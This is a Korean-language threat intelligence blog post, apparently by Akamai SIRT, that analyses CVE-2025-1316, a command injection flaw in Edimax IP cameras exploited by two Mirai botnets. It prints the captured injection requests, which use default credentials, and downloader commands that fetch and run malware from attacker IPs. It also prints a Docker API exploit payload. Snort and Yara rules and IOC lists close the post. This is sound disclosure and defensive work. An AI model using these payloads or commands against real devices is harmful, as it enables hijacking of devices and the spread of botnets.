악성 노출 사례: Mirai 확산에 이용된 Edimax 네트워크 카메라
편집 및 추가 설명: 트리샤 하워드(Tricia Howard)
핵심 요약
Akamai 보안 인텔리전스 대응팀(SIRT)은 Edimax 사물 인터넷(IoT) 디바이스에 대한 악용을 시도하는 새로운 명령어 인젝션 취약점을 확인했습니다. 이 취약점의 CVE 번호는 CVE-2025-1316입니다.
SIRT는 2024년 10월 허니팟에서 이 활동을 처음 확인했지만, 추가 리서치에 따르면, 개념 증명(PoC)은 2023년 6월로 거슬러 올라갑니다.
Mirai 변종을 비롯해 이 취약점을 이용하는 여러 봇넷이 확인되었습니다.
이 CVE를 악용하는 봇넷은 Docker API 악용 등 몇 가지 알려진 취약점도 이용합니다.
이번 블로그 게시물에는 이 위협에 대한 방어에 도움이 될 수 있는 감염 지표(IOC) 목록이 포함되어 있습니다.
식별
2024년 10월 초, Akamai SIRT에서는 URI /camera-cgi/admin/param.cgi 항목을 표적으로 삼은 활동을 허니팟의 글로벌 네트워크에서 발견했습니다. 추가 조사 결과, Edimax IoT 디바이스에 대한 악용 시도는 이 활동에 기인했던 것으로 확인할 수 있었습니다. 펌웨어를 분석한 후, 이러한 악용 시도는 Edimax IoT 디바이스에 영향을 미치는 명령어 인젝션 취약점을 이용하는 것으로 밝혀졌습니다. 현재 이 취약점은 CVE-2025-1316으로 추적되고 있습니다.
허니팟 기록에 따르면, 이 취약점을 표적으로 삼은 최초 활동은 2024년 5월에 나타났습니다. 그러나 2023년 6월에 PoC 악용을 탐지할 수 있었습니다. 장기간 노출된 점을 감안할 때, 허니팟에서 이 취약점을 악용하는 두 가지 봇넷이 발견된 것도 놀라운 일이 아닙니다. 둘 다 눈에 띄는 멀웨어 샘플이 없었지만 단순하고 기본적인 Mirai 멀웨어를 이용한 봇넷조차 여전히 기업에 위협이 되고 있습니다.
취약점
악용 사례에서는 Edimax 디바이스에서 /camera-cgi/admin/param.cgi 엔드포인트를 표적으로 삼고 NTP_serverName 옵션에 명령어를 인젝션하며, 해당 옵션은 ipcamSource 의 일부이며 이는 param.cgi에 있습니다. 이와 같은 악용에는 인증이 필요하고, 관찰된 모든 악용 시도는 기본 인증정보(일반적으로 Edimax 디바이스의 기본 인증정보인 admin:1234)를 전달했습니다.
요청의 페이로드 및 문자열에 대한 리서치 결과, Edimax IoT 디바이스에 대한 취약점을 원인으로 확인할 수 있었습니다. CVE 공개 내용에 Edimax의 IC-7100 네트워크 카메라가 언급되었지만 취약한 디바이스 및 펌웨어의 전체 범위는 이 모델 외에도 더 있으므로 영향을 받는 디바이스의 전체 범위가 더 커질 수 있습니다.
활발한 악용
Akamai SIRT는 이 URI를 표적으로 삼은 악용 시도를 2024년 5월에 처음 확인했습니다. 이러한 요청은 한동안 보이지 않다가 2024년 9월, 2025년 1월과 2월에 약간 증가세를 보였습니다. 이 악용 시도는 서로 다른 봇넷에서 발생한 것으로 보이며, PoC가 2023년 6월부터 이용 가능했던 점으로 미루어 그리 놀라운 일이 아닙니다.
페이로드를 디코딩했을 때(2025년 2월 캡처) 봇넷이 NTP_serverName 옵션에 명령어를 인젝션해 curl.sh 셸 스크립트를 tmp 디렉터리에 다운로드하고 실행한 것을 확인했습니다.
/camera-cgi/admin/param.cgi action=update&ipcamSource=/ntp.asp?r=20130724&NTP_enable=1&NTP_serverName=;$(cd /tmp; wget http://193.143.1[.]118/curl.sh; chmod 777 curl.sh; sh curl.sh)&NTP_tzCityNo=16&NTP_tzMinute=0&NTP_daylightSaving=0
일반적인 Mirai 봇넷 동작과 마찬가지로 셸 스크립트는 curl.sh 및 x64와 같은 서로 다른 여러 아키텍처에서 주요 Mirai 멀웨어 페이로드를 다운로드하고 실행하는 여러 명령어를 실행합니다.
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/x86; curl -O http://193.143.1[.]118/x86; cat x86 > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt ",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/mips; curl -O http://193.143.1[.]118/mips; cat mips > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt ",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/mpsl; curl -O http://193.143.1[.]118/mpsl; cat mpsl > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt ",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/arm; curl -O http://193.143.1[.]118/arm; cat arm > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt "
감염된 머신에서 실행되자마자 멀웨어는 VagneRHere 문자열을 콘솔에 출력합니다(그림 1).
주 도메인에 전체 NSFW 웹사이트가 설정된 것으로 보이며 2024년 12월 말에 처음 공개되었습니다. 멀웨어는 일부 샌드박스가 ‘불안정한 Mirai’ 멀웨어 변종으로 신고한 angela.spklove[.]com 도메인으로 안내해 포트 3093을 통해 명령어 및 제어(C2) 통신을 수행하려 했습니다.
이것은 이 도메인에서 확인한 유일한 하위 도메인이며, C2와 관련된 유일한 부분이기도 합니다. 웹사이트 역시 약 60명의 회원이 활동하는 홈페이지의 Discord 서버로 연결됩니다. Discord의 내용은 웹사이트와 부합되는 것으로 보이며 한국어로 작성되었습니다.
이 봇넷도 TOTOLINK IoT 디바이스에 영향을 주는 CVE-2024-7214를 악용한 것으로 관찰되었습니다.
둘 이상의 봇넷
적어도 2024년 5월 이후로 이 Edimax 취약점을 악용한 별도의 봇넷도 확인했습니다. Akamai가 탐지한 공격 기능은 거의 Mirai 멀웨어 샘플의 표준에 가까웠습니다. 다만 탐지된 sym.antidebug 및 sym.debugger_ 같은 기능을 통해 멀웨어가 안티디버깅 기능을 내장한 것처럼 보인다는 점이 다릅니다.
/camera-cgi/admin/param.cgi action=update&ipcamSource=/ntp.asp?r=20130724&NTP_enable=1&NTP_serverName=;$(cd /tmp; wget http://170.39.193.232/wget.sh; chmod 777 wget.sh; sh wget.sh)&NTP_tzCityNo=16&NTP_tzMinute=0&NTP_daylightSaving=0
이전 봇넷과 마찬가지로, 이 봇넷의 악용 사례에서는 wget.sh셸 스크립트를 다운로드해 실행합니다. 그런 다음 주 Mirai 멀웨어 페이로드를 다운로드해 실행합니다. 이 경우 일반적으로 샘플의 파일 이름에 ‘.S’가 접두사로 붙습니다.
"cd /tmp ; rm -rf x86_64 ; /bin/busybox wget http://170.39.193[.]232/.Sx86_64 ; chmod 777 .Sx86_64 ; ./.Sx86_64 x86 ;",
"cd /tmp ; rm -rf mpsl ; /bin/busybox wget http://170.39.193[.]232/.Smpsl ; chmod 777 .Smpsl ; ./.Smpsl mpsl ;",
"cd /tmp ; rm -rf mips ; /bin/busybox wget http://170.39.193[.]232/.Smips ; chmod 777 .Smips ; ./.Smips mips ; ",
"cd /tmp ; rm -rf arm5 ; /bin/busybox wget http://170.39.193[.]232/.Sarm4 ; chmod 777 .Sarm4 ; ./.Sarm4 arm4 ;",
"cd /tmp ; rm -rf arm4 ; /bin/busybox wget http://170.39.193[.]232/.Sarm5 ; chmod 777 .Sarm5 ; ./.Sarm5 arm5 ;",
"cd /tmp ; rm -rf arm6 ; /bin/busybox wget http://170.39.193[.]232/.Sarm6 ; chmod 777 .Sarm6 ; ./.Sarm6 arm6 ;",
"cd /tmp ; rm -rf arm7 ; /bin/busybox wget http://170.39.193[.]232/.Sarm7 ; chmod 777 .Sarm7 ; ./.Sarm7 arm7 ; ",
"cd /tmp ; rm -rf m68k ; /bin/busybox wget http://170.39.193[.]232/.Sm68k ; chmod 777 .Sm68k ; ./.Sm68k m68 ;",
"cd /tmp ; rm -rf x86 ; /bin/busybox wget http://170.39.193[.]232/.Sx86 ; chmod 777 .Sx86 ; ./.Sx86 x64 ;",
"cd /tmp ; rm -rf spc ; /bin/busybox wget http://170.39.193[.]232/.Sspc ; chmod 777 .Sspc ; ./.Sspc spc ;"
공격 기능은 일반적인 Mirai 멀웨어 공격 기법을 보여줍니다. 예를 들어 UDP Flood, TCP ACK, TCP SYN, UDP OpenVPN 타게팅 등이 있습니다.
0x000083b8 7 140 sym.attack_kill_all
0x0000d1dc 31 1976 sym.attack_handshake
0x0000874c 1 1160 sym.attack_init
0x0000ab78 28 1708 sym.attack_tcp_syn
0x00009dc8 28 1716 sym.attack_tcpsack
0x0000ce7c 27 860 sym.attack_socket
0x000096e4 31 1760 sym.attack_tcppsh
0x00008d0c 31 1160 sym.attack_udp_custom
0x0000b228 27 1564 sym.attack_gre_ip
0x0000d998 12 428 sym.attack_udp_openvpn
0x0000829c 13 268 sym.attack_start
0x0000851c 26 560 sym.attack_parse
0x00008448 9 104 sym.attack_get_opt_int
0x00008240 8 92 sym.attack_get_opt_str
또한 멀웨어는 감염된 호스트에서 ‘Hello, World!’ 문자열을 인쇄하도록 하드 코딩되었습니다. 이전 샘플에서는 멀웨어는 /var/ftper폴더를 사용했으며, 최신 버전에서는 /var/Sofia 폴더를 사용하는 것으로 확인되었습니다(그림 2).
이 봇넷은 Docker API 엔드포인트 악용을 비롯해 허니팟의 글로벌 네트워크에서 여러 다른 취약점을 표적으로 삼은 것으로 관찰되었습니다. 또한 CVE-2021-36220및 Hadoop YARN 취약점도 표적으로 삼았습니다.
/v1.24/containers/create {"Hostname":"","Domainname":"","User":"","AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":null,"Cmd":["binaries=\"mips mpsl x86 arm7 arm sh4 arm6 arm5 ppc arc spc m68k i686\"; server_ip=\"194.120.230[.]54\"; for arch in $binaries; do rm -rf $arch; wget http://$server_ip/hiddenbin/boatnet.$arch || curl -O http://$server_ip/hiddenbin/boatnet.$arch || tftp $server_ip -c get hiddenbin/boatnet.$arch || tftp -g -r hiddenbin/boatnet.$arch $server_ip; chmod 777 boatnet.$arch; ./boatnet.$arch $arch-day; rm -rf boatnet.$arch; done","chroot","/mnt/","/bin/sh","-c","binaries=\"mips mpsl x86 arm7 arm sh4 arm6 arm5 ppc arc spc m68k i686\"; server_ip=\"194.120.230[.]54\"; for arch in $binaries; do rm -rf $arch; wget http://$server_ip/hiddenbin/boatnet.$arch || curl -O http://$server_ip/hiddenbin/boatnet.$arch || tftp $server_ip -c get hiddenbin/boatnet.$arch || tftp -g -r hiddenbin/boatnet.$arch $server_ip; chmod 777 boatnet.$arch; ./boatnet.$arch $arch-day; rm -rf boatnet.$arch; done","binaries=\"mips mpsl x86 arm7 arm sh4 arm6 arm5 ppc arc spc m68k i686\"; server_ip=\"194.120.230[.]54\"; for arch in $binaries; do rm -rf $arch; wget http://$server_ip/hiddenbin/boatnet.$arch || curl -O http://$server_ip/hiddenbin/boatnet.$arch || tftp $server_ip -c get hiddenbin/boatnet.$arch || tftp -g -r hiddenbin/boatnet.$arch $server_ip; chmod 777 boatnet.$arch; ./boatnet.$arch $arch-day; rm -rf boatnet.$arch; done"],"Image":"alpine","Volumes":{},"WorkingDir":"","Entrypoint":null,"OnBuild":null,"Labels":{},"HostConfig":{"Binds":["/:/mnt"],"ContainerIDFile":"","LogConfig":{"Type":"","Config":{}},"NetworkMode":"default","PortBindings":{},"RestartPolicy":{"Name":"no","MaximumRetryCount":0},"AutoRemove":false,"VolumeDriver":"","VolumesFrom":null,"ConsoleSize":[0,0],"CapAdd":null,"CapDrop":null,"CgroupnsMode":"","Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":false,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":0,"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":null,"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":null,"DeviceCgroupRules":null,"DeviceRequests":null,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":-1,"OomKillDisable":false,"PidsLimit":0,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0,"MaskedPaths":null,"ReadonlyPaths":null},"NetworkingConfig":{"EndpointsConfig":{}}}
결론
Mirai 멀웨어 기반 봇넷이 계속 전파되면서 Mirai의 유산은 지속적으로 전 세계 기업을 위협하고 있습니다. 무료로 이용 가능한 각종 튜토리얼과 소스 코드(그리고 지금은 AI 지원까지)를 통해 봇넷을 가동하기 훨씬 쉬워졌습니다.
사이버 범죄자가 봇넷을 결합하기 시작하는 가장 효과적인 방법 중 하나는 오래된 디바이스에서 보안이 부실하고 오래된 펌웨어를 표적으로 삼는 것입니다. 많은 하드웨어 제조업체가 서비스 종료된 디바이스에 대한 패치를 배포하지 않습니다(제조업체 자체가 없어진 경우도 있습니다). 이 특정 Edimax 모델은 서비스 종료되었으며 더 이상 업데이트를 제공하지 않는다고 합니다. 보안 패치를 사용할 수 없고 배포할 가능성도 없는 상황에서는 취약한 디바이스를 최신 모델로 업그레이드하는 것이 좋습니다.
Akamai SIRT는 고객사와 보안 커뮤니티 전반을 위해 이와 같은 위협을 지속적으로 모니터링하고 보고할 것입니다. Akamai Security Intelligence Group의 SIRT 및 기타 최신 보고서를 확인하려면 다음 방법을 이용하실 수 있습니다. 사이트 방문: 리서치 홈페이지 팔로우: 소셜 미디어.
감염 징후
보안팀을 돕기 위해 IOC 목록과 Snort 및 Yara 룰을 포함시켰습니다.
네트워크 IOC에 대한 Snort 룰
C2 IP에 대한 Snort 룰(1번 봇넷)
alert ip any any -> 193.143.1.118 any (msg:"Possible Botnet #1 Infrastructure Activity - Suspicious IP"; sid:1000001; rev:1; threshold:type limit, track by_src, count 1, seconds 600; classtype:trojan-activity; metadata:service http, malware;)
C2 도메인 확인 탐지에 대한 Snort 룰(1번 봇넷)
alert tcp any any -> any 80 (msg:"Possible Botnet #1 C2 or Malware Distribution - angela.spklove.com"; content:"angela.spklove.com"; http_header; nocase; sid:1000002; rev:1; classtype:trojan-activity; metadata:service http, malware;)
C2 IP에 대한 Snort 룰(2번 봇넷)
alert ip any any -> [194.120.230.54, 170.39.193.232, 49.12.210.140, 93.123.85.135, 147.45.199.16, 172.235.166.240, 172.232.38.103, 172.235.166.10, 172.232.38.224] any (
msg:"Possible Botnet #2 Infrastructure Activity - Suspicious IP";
sid:2000001;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)
C2 도메인 확인 탐지에 대한 Snort 룰(2번 봇넷)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - cnc.merisprivate.net";
content:"cnc.merisprivate.net"; http_host; nocase;
sid:2000002; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - bot.merisprivate.net";
content:"bot.merisprivate.net"; http_host; nocase;
sid:2000003; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - cnc.ziparchive.xyz";
content:"cnc.ziparchive.xyz"; http_host; nocase;
sid:2000004; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - virtuehub.one";
content:"virtuehub.one"; http_host; nocase;
sid:2000005; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
멀웨어 샘플에 대한 Yara 룰
rule Botnet1_Indicators
{
meta:
description = "Detects Botnet #1 malware samples and network-based indicators"
date = "2025-03-07"
severity = "high"
strings:
// Network Indicators (IP & Domain)
$ip1 = "193.143.1.118"
$domain1 = "angela.spklove.com"
condition:
any of (
// SHA256 Hash Matches
hash.sha256(0, filesize) == "9111ad2a4bc21a6c6a45507c59b7e35151b8c909f4bb1238cc2b1d750fc6fe89",
hash.sha256(0, filesize) == "40b87a40b2de80bc5a8cc40cd1667a3ded9b01211487a3aea8e11225994b0f21",
hash.sha256(0, filesize) == "e2ce2a05d4b70ea4dfacbc60477f2f1fac7b521b28650fe726d77d7999f57759",
hash.sha256(0, filesize) == "43896ed73bf5565dacacd3921af42b0d0f484f69695187c249ad40d86a3aec59",
hash.sha256(0, filesize) == "ee6f9b6e8f2c0b37b906914cd640b7bde1a903545035eb4861dba5f1ec0317a9",
// Network-based Indicator Matches
any of ($ip1, $domain1)
)
}
rule Botnet2_Indicators
{
meta:
description = "Detects Botnet #2 malware samples, network indicators, and unique string"
date = "2025-03-07"
severity = "high"
strings:
// Network Indicators (IPs & Domains)
$ip1 = "194.120.230.54"
$ip2 = "170.39.193.232"
$ip3 = "49.12.210.140"
$ip4 = "93.123.85.135"
$ip5 = "147.45.199.16"
$ip6 = "172.235.166.240"
$ip7 = "172.232.38.103"
$ip8 = "172.235.166.10"
$ip9 = "172.232.38.224"
$domain1 = "cnc.merisprivate.net"
$domain2 = "bot.merisprivate.net"
$domain3 = "cnc.ziparchive.xyz"
$domain4 = "virtuehub.one"
// Unique String Found in the Malware
$unique_string = "2surf2"
condition:
any of (
// SHA256 Hash Matches
hash.sha256(0, filesize) == "75ad7e1857d39eb1554c75d1f52aa4c14318896a7aebbc1d10e673aee4c2ca36",
hash.sha256(0, filesize) == "c792ce87ba1b0dc37cf3d2d2b4ad3433395ae93e0f1ae9c1140d097d093c1457",
hash.sha256(0, filesize) == "b8837d659bb88adc0348de027d33d9c17e6d1ee732b025928e477dc2802cb256",
hash.sha256(0, filesize) == "9f6bfe55961ae4b657dd1e7b3f488b49133cd2cd89d89d3f1052fc5d28287de6",
hash.sha256(0, filesize) == "555ca3b4a1e17f832d477f365a660775acc10d59a51d7cc194e6249b5c0ba58f",
hash.sha256(0, filesize) == "4244ef7ff56a2dab17f06c98131f61460ec9ca7eec6f7cb057d7e779c3079a65",
hash.sha256(0, filesize) == "4d577320b4875fcd7e7e65aece5bd4e3040772e4030a0d671570fcc9337fab72",
hash.sha256(0, filesize) == "ba8d7017545747bc1bc609277af26a0c8c1fa92541c0290dd9d8570d59faca97",
// Network-based Indicator Matches
any of ($ip1, $ip2, $ip3, $ip4, $ip5, $ip6, $ip7, $ip8, $ip9,
$domain1, $domain2, $domain3, $domain4),
// Unique string match
$unique_string
)
}
과거 인프라의 IPv4 주소(1번 봇넷)
193.143.1.118
C2 및 멀웨어 배포 엔드포인트에 대한 도메인(1번 봇넷)
angela.spklove.com
SHA256 해시(1번 봇넷)
9111ad2a4bc21a6c6a45507c59b7e35151b8c909f4bb1238cc2b1d750fc6fe89
40b87a40b2de80bc5a8cc40cd1667a3ded9b01211487a3aea8e11225994b0f21
e2ce2a05d4b70ea4dfacbc60477f2f1fac7b521b28650fe726d77d7999f57759
43896ed73bf5565dacacd3921af42b0d0f484f69695187c249ad40d86a3aec59
ee6f9b6e8f2c0b37b906914cd640b7bde1a903545035eb4861dba5f1ec0317a9
IP 주소(2번 봇넷)
194.120.230.54
170.39.193.232
49.12.210.140
93.123.85.135
147.45.199.16
172.235.166.240
172.232.38.103
172.235.166.10
172.232.38.224
도메인(2번 봇넷)
cnc.merisprivate.net
bot.merisprivate.net
cnc.ziparchive.xyz
virtuehub.one
SHA256 해시(2번 봇넷)
75ad7e1857d39eb1554c75d1f52aa4c14318896a7aebbc1d10e673aee4c2ca36
c792ce87ba1b0dc37cf3d2d2b4ad3433395ae93e0f1ae9c1140d097d093c1457
b8837d659bb88adc0348de027d33d9c17e6d1ee732b025928e477dc2802cb256
9f6bfe55961ae4b657dd1e7b3f488b49133cd2cd89d89d3f1052fc5d28287de6
555ca3b4a1e17f832d477f365a660775acc10d59a51d7cc194e6249b5c0ba58f
4244ef7ff56a2dab17f06c98131f61460ec9ca7eec6f7cb057d7e779c3079a65
4d577320b4875fcd7e7e65aece5bd4e3040772e4030a0d671570fcc9337fab72
ba8d7017545747bc1bc609277af26a0c8c1fa92541c0290dd9d8570d59faca97